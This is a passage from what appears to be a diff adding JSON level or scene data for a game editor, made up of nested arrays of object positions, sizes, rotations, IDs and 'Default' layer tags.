+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22485,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3906,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22577,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3907,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22668,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3908,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22760,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3909,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22852,
+ 550,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3910,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23063,
+ 648,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1818251013755798,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 3911,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23158,
+ 726,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 3912,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21634,
+ 307,
+ 0,
+ 38,
+ 34,
+ 0,
+ -1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 3913,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21769,
+ 316,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3914,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21600,
+ 87,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3916,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22118,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3917,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22118,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3918,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22118,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3919,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22210,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3920,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22210,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3921,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22210,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3922,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22301,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3923,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22301,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3924,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22300,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3925,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22392,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3926,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22392,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3927,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22392,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3928,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22485,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3929,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22485,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3930,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22485,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3931,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22576,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3932,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22576,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3933,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22576,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3934,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22667,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3935,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22667,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3936,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22667,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3937,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22759,
+ 645,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3938,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22759,
+ 741,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3939,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22759,
+ 836,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3940,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22852,
+ 646,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3941,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22852,
+ 742,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3942,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22852,
+ 837,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3943,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23159,
+ 821,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 3944,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23159,
+ 917,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 475,
+ 3945,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23158,
+ 1012,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3946,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22487,
+ 378,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3947,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22306,
+ 442,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3948,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22703,
+ 439,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 3949,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21687,
+ 827,
+ 0,
+ 281,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3950,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21506,
+ 214,
+ 0,
+ 459,
+ 88,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3951,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21690,
+ 362,
+ 0,
+ 91,
+ 366,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3952,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21958,
+ 592,
+ 0,
+ 287,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3953,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22487,
+ 663,
+ 0,
+ 824,
+ 307,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3954,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 23009,
+ 611,
+ 0,
+ 297.0997924804688,
+ 28,
+ 0,
+ 0.6457718014717102,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3955,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 20836,
+ 674,
+ 0,
+ 382.4701232910156,
+ 201.9481506347656,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 3956,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22119,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3957,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22210,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3958,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22300,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3959,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22393,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3960,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22484,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3961,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22576,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3962,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22667,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3963,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22758,
+ 932,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3964,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 22851,
+ 933,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 476,
+ 3965,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21231,
+ 641,
+ 0,
+ 458,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3966,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 21323,
+ 731,
+ 0,
+ 458,
+ 374,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 3967,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16088,
+ -526,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3968,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16216,
+ -526,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 3969,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1058,
+ 680,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1777,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2790,
+ 250,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1848,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4131,
+ 446,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1886,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5281,
+ 826,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1950,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5754,
+ 687,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 1957,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6464,
+ 395,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 2062,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8080,
+ 596,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 2063,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8582,
+ 598,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3342,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8944,
+ 596,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3343,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 10487,
+ 441,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3344,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11285,
+ 498,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3355,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11608,
+ 498,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3404,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 11943,
+ 498,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3405,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 12471,
+ 672,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3406,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 13074,
+ 529,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3413,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 14393,
+ 319,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3414,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 15294,
+ 443,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3415,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16157,
+ 821,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3444,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 16633,
+ 675,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3445,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 17041,
+ 488,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3446,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18047,
+ 464,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3447,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 18680,
+ 586,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3458,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19526,
+ 591,
+ 0,
+ 100,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 453,
+ 3459,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 19880,
+ 593,
+ 0,
